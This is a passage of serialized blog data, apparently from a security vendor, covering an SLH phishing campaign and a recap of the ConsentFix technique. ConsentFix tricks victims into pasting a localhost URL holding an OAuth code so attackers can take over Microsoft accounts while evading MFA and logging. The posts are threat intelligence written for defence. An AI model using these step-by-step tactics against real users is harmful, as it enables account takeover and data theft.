,"value":74558,"nodeType":865},{},[],{"data":77843,"content":77844,"nodeType":972},{},[],{"data":77846,"content":77847,"nodeType":7584},{},[77848],{"data":77849,"content":77850,"nodeType":866},{},[77851,77854,77861,77864,77871,77874,77881],{"data":77852,"marks":77853,"value":61568,"nodeType":865},{},[],{"data":77855,"content":77856,"nodeType":889},{"uri":11375},[77857],{"data":77858,"marks":77859,"value":61576,"nodeType":865},{},[77860],{"type":943},{"data":77862,"marks":77863,"value":2717,"nodeType":865},{},[],{"data":77865,"content":77866,"nodeType":889},{"uri":11387},[77867],{"data":77868,"marks":77869,"value":61587,"nodeType":865},{},[77870],{"type":943},{"data":77872,"marks":77873,"value":11397,"nodeType":865},{},[],{"data":77875,"content":77876,"nodeType":889},{"uri":1372},[77877],{"data":77878,"marks":77879,"value":11405,"nodeType":865},{},[77880],{"type":943},{"data":77882,"marks":77883,"value":1615,"nodeType":865},{},[],{"data":77885,"content":77886,"nodeType":866},{},[77887],{"data":77888,"marks":77889,"value":21,"nodeType":865},{},[],{"items":77891},[77892,77894],{"sys":77893,"name":7796},{"id":7795},{"sys":77895,"name":342},{"id":4642},{"items":77897},[77898],{"fullName":4680,"firstName":4681,"jobTitle":4616,"profilePicture":77899},{"url":4683},"blog/push-plus-network-security",{"json":77902},{"data":77903,"content":77904,"nodeType":1382},{},[77905],{"data":77906,"content":77907,"nodeType":866},{},[77908],{"data":77909,"marks":77910,"value":77911,"nodeType":865},{},[],"One key question we get is \"we're already monitoring network and web traffic, so why do we need to be in the browser too?\". Here are the key differences.",{"id":57816,"publishedAt":77913},"2026-08-13T09:35:43.143Z",{"items":77915},[77916,77918],{"sys":77917,"name":7796},{"id":7795},{"sys":77919,"name":342},{"id":4642},{"items":77921},[77922,77924,77926,77928,77930,77932,77934,77936],{"sys":77923,"name":297,"slug":298,"tier":31},{"id":294},{"sys":77925,"name":279,"slug":280,"tier":31},{"id":276},{"sys":77927,"name":342,"slug":343,"tier":31},{"id":339},{"sys":77929,"name":624,"slug":625,"tier":45},{"id":621},{"sys":77931,"name":306,"slug":307,"tier":45},{"id":303},{"sys":77933,"name":261,"slug":262,"tier":45},{"id":258},{"sys":77935,"name":571,"slug":572,"tier":45},{"id":568},{"sys":77937,"name":589,"slug":590,"tier":45},{"id":586},"utVTmyush9vQUYa5rOo2h_Mf_xmrYJ7bhUe-9CuVFGA",{"id":77940,"title":67983,"authorsCollection":77941,"content":77946,"extension":228,"faqItemsCollection":78595,"faqTitle":59,"featured":6,"hashTags":59,"meta":78597,"metaTitle":78598,"ogImage":59,"postType":42959,"publishedDate":67985,"relatedBlogPostsCollection":78599,"slug":67986,"stem":81544,"subtitle":59,"summary":81545,"synopsis":67984,"sys":81556,"tagsCollection":81558,"topicsCollection":81564,"__hash__":81600},"blog/blog/unpacking-the-latest-slh-campaign.json",{"items":77942},[77943],{"fullName":7800,"firstName":7801,"jobTitle":7802,"socialLinks":77944,"profilePicture":77945},[30152],{"url":7804},{"json":77947,"links":78469},{"data":77948,"content":77949,"nodeType":1382},{},[77950,77966,77972,77978,77981,77988,78004,78020,78047,78052,78055,78062,78069,78075,78091,78097,78102,78107,78113,78119,78126,78132,78138,78143,78149,78165,78172,78178,78184,78200,78205,78221,78226,78232,78237,78240,78247,78253,78269,78275,78298,78304,78311,78314,78321,78327,78333,78338,78344,78383,78388,78394,78420,78425,78463],{"data":77951,"content":77952,"nodeType":866},{},[77953,77956,77963],{"data":77954,"marks":77955,"value":21,"nodeType":865},{},[],{"data":77957,"content":77958,"nodeType":889},{"uri":4991},[77959],{"data":77960,"marks":77961,"value":8673,"nodeType":865},{},[77962],{"type":943},{"data":77964,"marks":77965,"value":67402,"nodeType":865},{},[],{"data":77967,"content":77968,"nodeType":866},{},[77969],{"data":77970,"marks":77971,"value":67409,"nodeType":865},{},[],{"data":77973,"content":77974,"nodeType":866},{},[77975],{"data":77976,"marks":77977,"value":67416,"nodeType":865},{},[],{"data":77979,"content":77980,"nodeType":972},{},[],{"data":77982,"content":77983,"nodeType":981},{},[77984],{"data":77985,"marks":77986,"value":67427,"nodeType":865},{},[77987],{"type":926},{"data":77989,"content":77990,"nodeType":866},{},[77991,77994,78001],{"data":77992,"marks":77993,"value":67434,"nodeType":865},{},[],{"data":77995,"content":77996,"nodeType":889},{"uri":67437},[77997],{"data":77998,"marks":77999,"value":67443,"nodeType":865},{},[78000],{"type":943},{"data":78002,"marks":78003,"value":67447,"nodeType":865},{},[],{"data":78005,"content":78006,"nodeType":866},{},[78007,78010,78017],{"data":78008,"marks":78009,"value":67454,"nodeType":865},{},[],{"data":78011,"content":78012,"nodeType":889},{"uri":53352},[78013],{"data":78014,"marks":78015,"value":67462,"nodeType":865},{},[78016],{"type":943},{"data":78018,"marks":78019,"value":67466,"nodeType":865},{},[],{"data":78021,"content":78022,"nodeType":866},{},[78023,78026,78030,78033,78037,78040,78044],{"data":78024,"marks":78025,"value":67473,"nodeType":865},{},[],{"data":78027,"marks":78028,"value":67478,"nodeType":865},{},[78029],{"type":926},{"data":78031,"marks":78032,"value":67482,"nodeType":865},{},[],{"data":78034,"marks":78035,"value":67487,"nodeType":865},{},[78036],{"type":926},{"data":78038,"marks":78039,"value":67491,"nodeType":865},{},[],{"data":78041,"marks":78042,"value":67496,"nodeType":865},{},[78043],{"type":926},{"data":78045,"marks":78046,"value":67500,"nodeType":865},{},[],{"data":78048,"content":78051,"nodeType":912},{"target":78049},{"sys":78050},{"id":67505,"type":909,"linkType":910},[],{"data":78053,"content":78054,"nodeType":972},{},[],{"data":78056,"content":78057,"nodeType":981},{},[78058],{"data":78059,"marks":78060,"value":67517,"nodeType":865},{},[78061],{"type":926},{"data":78063,"content":78064,"nodeType":1317},{},[78065],{"data":78066,"marks":78067,"value":67525,"nodeType":865},{},[78068],{"type":926},{"data":78070,"content":78071,"nodeType":866},{},[78072],{"data":78073,"marks":78074,"value":67532,"nodeType":865},{},[],{"data":78076,"content":78077,"nodeType":866},{},[78078,78081,78088],{"data":78079,"marks":78080,"value":21,"nodeType":865},{},[],{"data":78082,"content":78083,"nodeType":889},{"uri":4991},[78084],{"data":78085,"marks":78086,"value":67546,"nodeType":865},{},[78087],{"type":943},{"data":78089,"marks":78090,"value":67550,"nodeType":865},{},[],{"data":78092,"content":78093,"nodeType":866},{},[78094],{"data":78095,"marks":78096,"value":67557,"nodeType":865},{},[],{"data":78098,"content":78101,"nodeType":912},{"target":78099},{"sys":78100},{"id":53113,"type":909,"linkType":910},[],{"data":78103,"content":78106,"nodeType":912},{"target":78104},{"sys":78105},{"id":67567,"type":909,"linkType":910},[],{"data":78108,"content":78109,"nodeType":866},{},[78110],{"data":78111,"marks":78112,"value":67575,"nodeType":865},{},[],{"data":78114,"content":78115,"nodeType":866},{},[78116],{"data":78117,"marks":78118,"value":67582,"nodeType":865},{},[],{"data":78120,"content":78121,"nodeType":1317},{},[78122],{"data":78123,"marks":78124,"value":67590,"nodeType":865},{},[78125],{"type":926},{"data":78127,"content":78128,"nodeType":866},{},[78129],{"data":78130,"marks":78131,"value":67597,"nodeType":865},{},[],{"data":78133,"content":78134,"nodeType":866},{},[78135],{"data":78136,"marks":78137,"value":67604,"nodeType":865},{},[],{"data":78139,"content":78142,"nodeType":912},{"target":78140},{"sys":78141},{"id":67609,"type":909,"linkType":910},[],{"data":78144,"content":78145,"nodeType":866},{},[78146],{"data":78147,"marks":78148,"value":67617,"nodeType":865},{},[],{"data":78150,"content":78151,"nodeType":866},{},[78152,78155,78162],{"data":78153,"marks":78154,"value":67624,"nodeType":865},{},[],{"data":78156,"content":78157,"nodeType":889},{"uri":67627},[78158],{"data":78159,"marks":78160,"value":67633,"nodeType":865},{},[78161],{"type":943},{"data":78163,"marks":78164,"value":67637,"nodeType":865},{},[],{"data":78166,"content":78167,"nodeType":1317},{},[78168],{"data":78169,"marks":78170,"value":67645,"nodeType":865},{},[78171],{"type":926},{"data":78173,"content":78174,"nodeType":866},{},[78175],{"data":78176,"marks":78177,"value":67652,"nodeType":865},{},[],{"data":78179,"content":78180,"nodeType":866},{},[78181],{"data":78182,"marks":78183,"value":67659,"nodeType":865},{},[],{"data":78185,"content":78186,"nodeType":866},{},[78187,78190,78197],{"data":78188,"marks":78189,"value":67666,"nodeType":865},{},[],{"data":78191,"content":78192,"nodeType":889},{"uri":67669},[78193],{"data":78194,"marks":78195,"value":67675,"nodeType":865},{},[78196],{"type":943},{"data":78198,"marks":78199,"value":67679,"nodeType":865},{},[],{"data":78201,"content":78204,"nodeType":912},{"target":78202},{"sys":78203},{"id":67684,"type":909,"linkType":910},[],{"data":78206,"content":78207,"nodeType":866},{},[78208,78211,78218],{"data":78209,"marks":78210,"value":67692,"nodeType":865},{},[],{"data":78212,"content":78213,"nodeType":889},{"uri":6710},[78214],{"data":78215,"marks":78216,"value":62154,"nodeType":865},{},[78217],{"type":943},{"data":78219,"marks":78220,"value":67703,"nodeType":865},{},[],{"data":78222,"content":78225,"nodeType":912},{"target":78223},{"sys":78224},{"id":67708,"type":909,"linkType":910},[],{"data":78227,"content":78228,"nodeType":866},{},[78229],{"data":78230,"marks":78231,"value":67716,"nodeType":865},{},[],{"data":78233,"content":78236,"nodeType":912},{"target":78234},{"sys":78235},{"id":67721,"type":909,"linkType":910},[],{"data":78238,"content":78239,"nodeType":972},{},[],{"data":78241,"content":78242,"nodeType":981},{},[78243],{"data":78244,"marks":78245,"value":37911,"nodeType":865},{},[78246],{"type":926},{"data":78248,"content":78249,"nodeType":866},{},[78250],{"data":78251,"marks":78252,"value":67739,"nodeType":865},{},[],{"data":78254,"content":78255,"nodeType":866},{},[78256,78259,78266],{"data":78257,"marks":78258,"value":67746,"nodeType":865},{},[],{"data":78260,"content":78261,"nodeType":889},{"uri":5053},[78262],{"data":78263,"marks":78264,"value":8868,"nodeType":865},{},[78265],{"type":943},{"data":78267,"marks":78268,"value":67757,"nodeType":865},{},[],{"data":78270,"content":78271,"nodeType":866},{},[78272],{"data":78273,"marks":78274,"value":67764,"nodeType":865},{},[],{"data":78276,"content":78277,"nodeType":866},{},[78278,78281,78285,78288,78295],{"data":78279,"marks":78280,"value":67771,"nodeType":865},{},[],{"data":78282,"marks":78283,"value":67776,"nodeType":865},{},[78284],{"type":926},{"data":78286,"marks":78287,"value":2717,"nodeType":865},{},[],{"data":78289,"content":78290,"nodeType":889},{"uri":4813},[78291],{"data":78292,"marks":78293,"value":67787,"nodeType":865},{},[78294],{"type":943},{"data":78296,"marks":78297,"value":67791,"nodeType":865},{},[],{"data":78299,"content":78300,"nodeType":866},{},[78301],{"data":78302,"marks":78303,"value":67798,"nodeType":865},{},[],{"data":78305,"content":78306,"nodeType":866},{},[78307],{"data":78308,"marks":78309,"value":67806,"nodeType":865},{},[78310],{"type":926},{"data":78312,"content":78313,"nodeType":972},{},[],{"data":78315,"content":78316,"nodeType":981},{},[78317],{"data":78318,"marks":78319,"value":67817,"nodeType":865},{},[78320],{"type":926},{"data":78322,"content":78323,"nodeType":866},{},[78324],{"data":78325,"marks":78326,"value":67824,"nodeType":865},{},[],{"data":78328,"content":78329,"nodeType":866},{},[78330],{"data":78331,"marks":78332,"value":67831,"nodeType":865},{},[],{"data":78334,"content":78337,"nodeType":912},{"target":78335},{"sys":78336},{"id":67836,"type":909,"linkType":910},[],{"data":78339,"content":78340,"nodeType":866},{},[78341],{"data":78342,"marks":78343,"value":67844,"nodeType":865},{},[],{"data":78345,"content":78346,"nodeType":1616},{},[78347,78365],{"data":78348,"content":78349,"nodeType":1570},{},[78350],{"data":78351,"content":78352,"nodeType":866},{},[78353,78356,78362],{"data":78354,"marks":78355,"value":21,"nodeType":865},{},[],{"data":78357,"content":78358,"nodeType":889},{"uri":67859},[78359],{"data":78360,"marks":78361,"value":67864,"nodeType":865},{},[],{"data":78363,"marks":78364,"value":67868,"nodeType":865},{},[],{"data":78366,"content":78367,"nodeType":1570},{},[78368],{"data":78369,"content":78370,"nodeType":866},{},[78371,78374,78380],{"data":78372,"marks":78373,"value":21,"nodeType":865},{},[],{"data":78375,"content":78376,"nodeType":889},{"uri":67880},[78377],{"data":78378,"marks":78379,"value":67885,"nodeType":865},{},[],{"data":78381,"marks":78382,"value":67889,"nodeType":865},{},[],{"data":78384,"content":78387,"nodeType":912},{"target":78385},{"sys":78386},{"id":67894,"type":909,"linkType":910},[],{"data":78389,"content":78390,"nodeType":866},{},[78391],{"data":78392,"marks":78393,"value":67902,"nodeType":865},{},[],{"data":78395,"content":78396,"nodeType":866},{},[78397,78400,78407,78410,78417],{"data":78398,"marks":78399,"value":67909,"nodeType":865},{},[],{"data":78401,"content":78402,"nodeType":889},{"uri":54449},[78403],{"data":78404,"marks":78405,"value":67917,"nodeType":865},{},[78406],{"type":943},{"data":78408,"marks":78409,"value":67921,"nodeType":865},{},[],{"data":78411,"content":78412,"nodeType":889},{"uri":53458},[78413],{"data":78414,"marks":78415,"value":67929,"nodeType":865},{},[78416],{"type":943},{"data":78418,"marks":78419,"value":67933,"nodeType":865},{},[],{"data":78421,"content":78424,"nodeType":912},{"target":78422},{"sys":78423},{"id":54465,"type":909,"linkType":910},[],{"data":78426,"content":78427,"nodeType":7584},{},[78428],{"data":78429,"content":78430,"nodeType":866},{},[78431,78434,78441,78444,78450,78453,78460],{"data":78432,"marks":78433,"value":61568,"nodeType":865},{},[],{"data":78435,"content":78436,"nodeType":889},{"uri":11375},[78437],{"data":78438,"marks":78439,"value":61576,"nodeType":865},{},[78440],{"type":943},{"data":78442,"marks":78443,"value":2717,"nodeType":865},{},[],{"data":78445,"content":78446,"nodeType":889},{"uri":11387},[78447],{"data":78448,"marks":78449,"value":61587,"nodeType":865},{},[],{"data":78451,"marks":78452,"value":11397,"nodeType":865},{},[],{"data":78454,"content":78455,"nodeType":889},{"uri":1372},[78456],{"data":78457,"marks":78458,"value":11405,"nodeType":865},{},[78459],{"type":943},{"data":78461,"marks":78462,"value":1615,"nodeType":865},{},[],{"data":78464,"content":78465,"nodeType":866},{},[78466],{"data":78467,"marks":78468,"value":21,"nodeType":865},{},[],{"entries":78470},{"hyperlink":78471,"inline":78472,"block":78473},[],[],[78474,78482,78489,78514,78522,78528,78552,78556,78581,78587],{"sys":78475,"__typename":1390,"title":78476,"caption":78477,"layoutMode":59,"file":78478},{"id":67505},"SLH TOR leak site with claimed victims.","SLH Tor leak site with claimed victims.",{"url":78479,"width":78480,"height":78481},"https://images.ctfassets.net/y1cdw1ablpvd/PoWJBZ3uyl94usKVv3zgr/ed5aefc88cf39fe354755c7b145564bf/image4.png",1284,588,{"sys":78483,"__typename":1390,"title":78484,"caption":78484,"layoutMode":59,"file":78485},{"id":53113},"Big picture view of Scattered Lapsus$ Hunters breaches since 2021.",{"url":78486,"width":78487,"height":78488},"https://images.ctfassets.net/y1cdw1ablpvd/415gvGUy6Ywr2zofY8Phpk/dc9a8461ef07c041fef4a7fb39d0a25b/Screenshot_2026-02-25_at_09.50.56.png",3414,1852,{"sys":78490,"__typename":5503,"content":78491,"name":78513,"title":59},{"id":67567},{"json":78492},{"data":78493,"content":78494,"nodeType":1382},{},[78495],{"data":78496,"content":78497,"nodeType":866},{},[78498,78502,78510],{"data":78499,"marks":78500,"value":78501,"nodeType":865},{},[],"Get the background on Scattered Lapsus$ Hunters, and how they relate to Scattered Spider, Lapsus$, ShinyHunters, and other Com-affiliated groups in our recent deep dive, unpacking related breaches dating back to 2021 ",{"data":78503,"content":78504,"nodeType":889},{"uri":4991},[78505],{"data":78506,"marks":78507,"value":78509,"nodeType":865},{},[78508],{"type":943},"in our recent blog post",{"data":78511,"marks":78512,"value":1615,"nodeType":865},{},[],"SLH campaign insight box 1",{"sys":78515,"__typename":1390,"title":78516,"caption":78517,"layoutMode":59,"file":78518},{"id":67609},"What the operator sees in their phishing dashboard.","Phishing dashboard view provided by Okta Threat Intelligence.",{"url":78519,"width":78520,"height":78521},"https://images.ctfassets.net/y1cdw1ablpvd/3IvcYr8sCMsCbhnzG9OzJA/35e3bdcf6dcddb3c431600afe490fe7e/image5.png",1600,558,{"sys":78523,"__typename":1390,"title":78524,"caption":78524,"layoutMode":59,"file":78525},{"id":67684},"SSO panel examples in Entra and Okta.",{"url":78526,"width":1402,"height":78527},"https://images.ctfassets.net/y1cdw1ablpvd/31RIcvGgLz2fmHBYsZyEV5/4326e200aa8ba9879257c2f9b643cf08/image1.png",680,{"sys":78529,"__typename":5503,"content":78530,"name":78551,"title":59},{"id":67708},{"json":78531},{"data":78532,"content":78533,"nodeType":1382},{},[78534],{"data":78535,"content":78536,"nodeType":866},{},[78537,78540,78547],{"data":78538,"marks":78539,"value":21,"nodeType":865},{},[],{"data":78541,"content":78542,"nodeType":889},{"uri":15592},[78543],{"data":78544,"marks":78545,"value":78546,"nodeType":865},{},[],"Mandiant has reported",{"data":78548,"marks":78549,"value":78550,"nodeType":865},{},[]," how the attacker opportunistically pivots across accessible SaaS platforms (SharePoint, Salesforce, DocuSign, Slack), hunting for specific strings like “poc,” “confidential,” “salesforce,” and “vpn.” Notable tradecraft includes using ToogleBox Recall to delete MFA enrollment notifications from victims’ inboxes and leveraging PowerShell to bulk-download SharePoint content routed through commercial VPN services like Mullvad, Oxylabs, and NetNut. Check out their blog post for some example SaaS activity logs that can be used to investigate a potential compromise. ","SLH V2 insight box 1",{"sys":78553,"__typename":52243,"title":78554,"arcadeDemoUrl":78555,"playText":59377},{"id":67721},"SSO Exploitation Demo","https://demo.arcade.software/pwGUZuoRdTLzfbWGZUDJ?embed",{"sys":78557,"__typename":5503,"content":78558,"name":78580,"title":59},{"id":67836},{"json":78559},{"data":78560,"content":78561,"nodeType":1382},{},[78562],{"data":78563,"content":78564,"nodeType":866},{},[78565,78569,78576],{"data":78566,"marks":78567,"value":78568,"nodeType":865},{},[],"This even includes brand new techniques that have never been seen in the wild — such as ",{"data":78570,"content":78571,"nodeType":889},{"uri":12820},[78572],{"data":78573,"marks":78574,"value":7465,"nodeType":865},{},[78575],{"type":943},{"data":78577,"marks":78578,"value":78579,"nodeType":865},{},[],", which we blocked the first time it was seen targeting our customers, before even realizing it was a new kind of attack.","SLH campaign insight box 2",{"sys":78582,"__typename":1390,"title":78583,"caption":78583,"layoutMode":59,"file":78584},{"id":67894},"Push blocks phishing pages using real-time, in-browser analysis — shutting the attack down before a compromise happens. ",{"url":78585,"width":1402,"height":78586},"https://images.ctfassets.net/y1cdw1ablpvd/6InFhVkJJOPhsojQoub04K/b43e32cfa0bdc423dc993e930ebe1ae2/image1.png",1125,{"sys":78588,"__typename":1390,"title":78589,"caption":78590,"layoutMode":59,"file":78591},{"id":54465},"Employee Verification Codes","Push provides a lightweight verification feature in every user’s browser — no additional apps or devices required.",{"url":78592,"width":78593,"height":78594},"https://images.ctfassets.net/y1cdw1ablpvd/41X6fkPJgqf14vO3O14TF3/e0cecdbdfaee1353f15ff77ecb6a55a8/Employee_verification_codes.png",2088,1240,{"items":78596},[],{},"Unpacking the latest SLH phishing campaign",{"items":78600},[78601,79416,80716],{"__typename":1429,"sys":78602,"content":78604,"title":79402,"synopsis":79403,"hashTags":59,"publishedDate":79404,"slug":79405,"tagsCollection":79406,"authorsCollection":79412},{"id":78603},"4jcVFrvGBtVXpKU3gDMaa2",{"json":78605},{"data":78606,"content":78607,"nodeType":1382},{},[78608,78626,78633,78639,78694,78701,78708,78711,78719,78726,78733,78783,78791,78798,78821,78828,78831,78839,78846,78853,78860,78867,78874,78881,78886,78894,78901,78920,78940,78943,78951,78958,78965,78972,78980,78999,79006,79011,79019,79039,79059,79172,79175,79183,79190,79197,79200,79208,79215,79222,79229,79296,79326,79329,79337,79343,79350,79357,79364,79390,79396],{"data":78609,"content":78610,"nodeType":866},{},[78611,78615,78622],{"data":78612,"marks":78613,"value":78614,"nodeType":865},{},[],"In December, the Push Security research team discovered and blocked a brand new attack technique that we coined ",{"data":78616,"content":78617,"nodeType":889},{"uri":7472},[78618],{"data":78619,"marks":78620,"value":7465,"nodeType":865},{},[78621],{"type":943},{"data":78623,"marks":78624,"value":78625,"nodeType":865},{},[],". This technique merged ClickFix-style social engineering with OAuth consent phishing to hijack Microsoft accounts. ",{"data":78627,"content":78628,"nodeType":866},{},[78629],{"data":78630,"marks":78631,"value":78632,"nodeType":865},{},[],"We saw this attack running across a large network of compromised websites that attackers were injecting the malicious payload into, forming a large-scale campaign that was detected across multiple customer estates. ",{"data":78634,"content":78638,"nodeType":912},{"target":78635},{"sys":78636},{"id":78637,"type":909,"linkType":910},"603MWDqc9NsqkklIkfGNZN",[],{"data":78640,"content":78641,"nodeType":866},{},[78642,78646,78655,78659,78667,78670,78679,78682,78690],{"data":78643,"marks":78644,"value":78645,"nodeType":865},{},[],"ConsentFix got a pretty awesome response from the community in a very short space of time. Within days, ",{"data":78647,"content":78649,"nodeType":889},{"uri":78648},"https://www.youtube.com/watch?v=AAiiIY-Soak",[78650],{"data":78651,"marks":78652,"value":78654,"nodeType":865},{},[78653],{"type":943},"John Hammond shared a new and improved version of the technique",{"data":78656,"marks":78657,"value":78658,"nodeType":865},{},[]," that he’d spun up in his own lab, while security researchers from ",{"data":78660,"content":78662,"nodeType":889},{"uri":78661},"https://medium.com/@nitashathakur/consentfix-poc-how-the-attack-works-end-to-end-4f8b656f977d",[78663],{"data":78664,"marks":78665,"value":8641,"nodeType":865},{},[78666],{"type":943},{"data":78668,"marks":78669,"value":2717,"nodeType":865},{},[],{"data":78671,"content":78673,"nodeType":889},{"uri":78672},"https://www.glueckkanja.com/en/posts/2025-12-31-vulnerability-consentfix",[78674],{"data":78675,"marks":78676,"value":78678,"nodeType":865},{},[78677],{"type":943},"Glueck Kanja",{"data":78680,"marks":78681,"value":3476,"nodeType":865},{},[],{"data":78683,"content":78684,"nodeType":889},{"uri":52784},[78685],{"data":78686,"marks":78687,"value":78689,"nodeType":865},{},[78688],{"type":943},"other individual contributors",{"data":78691,"marks":78692,"value":78693,"nodeType":865},{},[]," all shared analysis and recommendations. ",{"data":78695,"content":78696,"nodeType":866},{},[78697],{"data":78698,"marks":78699,"value":78700,"nodeType":865},{},[],"In this blog, we’re sharing some new insights on the campaign, pulling together some of the top recommendations and resources shared across the community, and predicting what the future holds for this novel technique as it quickly enters the mainstream. ",{"data":78702,"content":78703,"nodeType":866},{},[78704],{"data":78705,"marks":78706,"value":78707,"nodeType":865},{},[],"First though, let’s quickly recap what ConsentFix is and how it works. ",{"data":78709,"content":78710,"nodeType":972},{},[],{"data":78712,"content":78713,"nodeType":981},{},[78714],{"data":78715,"marks":78716,"value":78718,"nodeType":865},{},[78717],{"type":926},"ConsentFix 101",{"data":78720,"content":78721,"nodeType":866},{},[78722],{"data":78723,"marks":78724,"value":78725,"nodeType":865},{},[],"ConsentFix is an attack technique that prompts the victim to share an OAuth authorization code with an attacker via a phishing page. The attacker then enters this code into a target application on their own device in order to complete the authorization handshake and take over the account. ",{"data":78727,"content":78728,"nodeType":866},{},[78729],{"data":78730,"marks":78731,"value":78732,"nodeType":865},{},[],"By hijacking OAuth, attackers can effectively bypass identity-layer controls like passwords and MFA — even phishing resistant authentication methods like passkeys have no impact on this attack, because it sidesteps the authentication process altogether. ",{"data":78734,"content":78735,"nodeType":866},{},[78736,78740,78747,78750,78757,78761,78768,78772,78780],{"data":78737,"marks":78738,"value":78739,"nodeType":865},{},[],"OAuth abuse attacks are not new. Techniques like ",{"data":78741,"content":78742,"nodeType":889},{"uri":56197},[78743],{"data":78744,"marks":78745,"value":66867,"nodeType":865},{},[78746],{"type":943},{"data":78748,"marks":78749,"value":4988,"nodeType":865},{},[],{"data":78751,"content":78752,"nodeType":889},{"uri":8450},[78753],{"data":78754,"marks":78755,"value":8061,"nodeType":865},{},[78756],{"type":943},{"data":78758,"marks":78759,"value":78760,"nodeType":865},{},[]," have been around for some time. However, these mainly focus on connecting your primary workspace account (e.g. Microsoft, Google, etc.) to a fraudulent, attacker-controlled application. But this is becoming increasingly difficult in core enterprise cloud environments like Azure due to ",{"data":78762,"content":78763,"nodeType":889},{"uri":66885},[78764],{"data":78765,"marks":78766,"value":66891,"nodeType":865},{},[78767],{"type":943},{"data":78769,"marks":78770,"value":78771,"nodeType":865},{},[],". That said, device code phishing still featured prominently in the recent ",{"data":78773,"content":78774,"nodeType":889},{"uri":4991},[78775],{"data":78776,"marks":78777,"value":78779,"nodeType":865},{},[78778],{"type":943},"high-profile Salesforce attacks in 2025",{"data":78781,"marks":78782,"value":1615,"nodeType":865},{},[],{"data":78784,"content":78785,"nodeType":1317},{},[78786],{"data":78787,"marks":78788,"value":78790,"nodeType":865},{},[78789],{"type":926},"What makes ConsentFix so dangerous?",{"data":78792,"content":78793,"nodeType":866},{},[78794],{"data":78795,"marks":78796,"value":78797,"nodeType":865},{},[],"Unlike typical OAuth attacks, the novel ConsentFix approach enabled the attacker to target different types of application to what they usually go after — with big implications for detection and response. In this case, the attacker:",{"data":78799,"content":78800,"nodeType":1616},{},[78801,78811],{"data":78802,"content":78803,"nodeType":1570},{},[78804],{"data":78805,"content":78806,"nodeType":866},{},[78807],{"data":78808,"marks":78809,"value":78810,"nodeType":865},{},[],"Specifically targeted first-party Microsoft apps that cannot be restricted in the same way as third-party applications, and are pre-consented in every tenant (meaning users can authenticate to them without admin approval). ",{"data":78812,"content":78813,"nodeType":1570},{},[78814],{"data":78815,"content":78816,"nodeType":866},{},[78817],{"data":78818,"marks":78819,"value":78820,"nodeType":865},{},[],"Leveraged legacy scopes that are outside the scope of default logging to evade detection, and targeted scopes with known Conditional Access policy exclusions.",{"data":78822,"content":78823,"nodeType":866},{},[78824],{"data":78825,"marks":78826,"value":78827,"nodeType":865},{},[],"This means that default controls you’d expect to block malicious OAuth grants don’t apply, you may not have logging enabled to detect it if it did happen to you, and to top it off, conditional access policy exclusions mean that many organizations’ expected controls don’t work as intended in this case. ",{"data":78829,"content":78830,"nodeType":972},{},[],{"data":78832,"content":78833,"nodeType":981},{},[78834],{"data":78835,"marks":78836,"value":78838,"nodeType":865},{},[78837],{"type":926},"ConsentFix campaign recap",{"data":78840,"content":78841,"nodeType":866},{},[78842],{"data":78843,"marks":78844,"value":78845,"nodeType":865},{},[],"Let’s quickly recap how the ConsentFix campaign was implemented. ",{"data":78847,"content":78848,"nodeType":866},{},[78849],{"data":78850,"marks":78851,"value":78852,"nodeType":865},{},[],"The victim is served a page which requires that they verify that they are human by pasting a URL into the phishing page.",{"data":78854,"content":78855,"nodeType":866},{},[78856],{"data":78857,"marks":78858,"value":78859,"nodeType":865},{},[],"Clicking the “Sign In” button opens a legitimate Microsoft login page. If the user is already logged in (which they likely are if working in their normal browser) their account information is already pre-populated and they won’t need to authenticate again. ",{"data":78861,"content":78862,"nodeType":866},{},[78863],{"data":78864,"marks":78865,"value":78866,"nodeType":865},{},[],"Selecting their account redirects them to a localhost URL containing an OAuth authorization code — this is what they then post into the original phishing page to complete the attack. ",{"data":78868,"content":78869,"nodeType":866},{},[78870],{"data":78871,"marks":78872,"value":78873,"nodeType":865},{},[],"Once the attacker gets the URL, they can exchange it for an access token or refresh token for the particular application being targeted — in this case, Azure CLI.",{"data":78875,"content":78876,"nodeType":866},{},[78877],{"data":78878,"marks":78879,"value":78880,"nodeType":865},{},[],"The TL;DR is that the attacker is manually completing an authorization flow that happens when a user logs into Azure CLI — a a command line client that provides you with the ability to easily manage your Azure AD / Entra ID environment. Except in this case, they’re taking the victim’s information to log in on the attacker’s device instead. ",{"data":78882,"content":78885,"nodeType":912},{"target":78883},{"sys":78884},{"id":66724,"type":909,"linkType":910},[],{"data":78887,"content":78888,"nodeType":1317},{},[78889],{"data":78890,"marks":78891,"value":78893,"nodeType":865},{},[78892],{"type":926},"Latest campaign details",{"data":78895,"content":78896,"nodeType":866},{},[78897],{"data":78898,"marks":78899,"value":78900,"nodeType":865},{},[],"Since we shared our blog post, we’ve had a number of additional details come to light about the campaign, which we’ve continued to track. ",{"data":78902,"content":78903,"nodeType":866},{},[78904,78908,78916],{"data":78905,"marks":78906,"value":78907,"nodeType":865},{},[],"It appears to be linked to Russian state-affiliated APT29, as corroborated by threat researchers we’ve been collaborating with. This is consistent with the ",{"data":78909,"content":78910,"nodeType":889},{"uri":7472},[78911],{"data":78912,"marks":78913,"value":78915,"nodeType":865},{},[78914],{"type":943},"stealthy tactics we observed",{"data":78917,"marks":78918,"value":78919,"nodeType":865},{},[],", which go far beyond the run-of-the-mill detection evasion techniques we see used in criminal phishing campaigns. ",{"data":78921,"content":78922,"nodeType":866},{},[78923,78927,78936],{"data":78924,"marks":78925,"value":78926,"nodeType":865},{},[],"It shares many similarities with, and appears to be an evolution of, ",{"data":78928,"content":78930,"nodeType":889},{"uri":78929},"https://www.volexity.com/blog/2025/12/04/dangerous-invitations-russian-threat-actor-spoofs-european-security-events-in-targeted-phishing-attacks/",[78931],{"data":78932,"marks":78933,"value":78935,"nodeType":865},{},[78934],{"type":943},"this Russia-affiliated campaign identified by Volexity",{"data":78937,"marks":78938,"value":78939,"nodeType":865},{},[]," that featured a manual version of the attack — where they victim was social engineered via email into opening the Microsoft URL, copying the localhost response, and sending it back to the attacker via email. ",{"data":78941,"content":78942,"nodeType":972},{},[],{"data":78944,"content":78945,"nodeType":981},{},[78946],{"data":78947,"marks":78948,"value":78950,"nodeType":865},{},[78949],{"type":926},"Top contributions from the community",{"data":78952,"content":78953,"nodeType":866},{},[78954],{"data":78955,"marks":78956,"value":78957,"nodeType":865},{},[],"As we mentioned earlier, the community response to ConsentFix has been incredible. ",{"data":78959,"content":78960,"nodeType":866},{},[78961],{"data":78962,"marks":78963,"value":78964,"nodeType":865},{},[],"As ever, you get a lot of vendors covering the attack technique with “install our product” as the recommendation. This is to be expected, but it’s misleading when some of these vendors are pushing EDR products that would have absolutely no way of 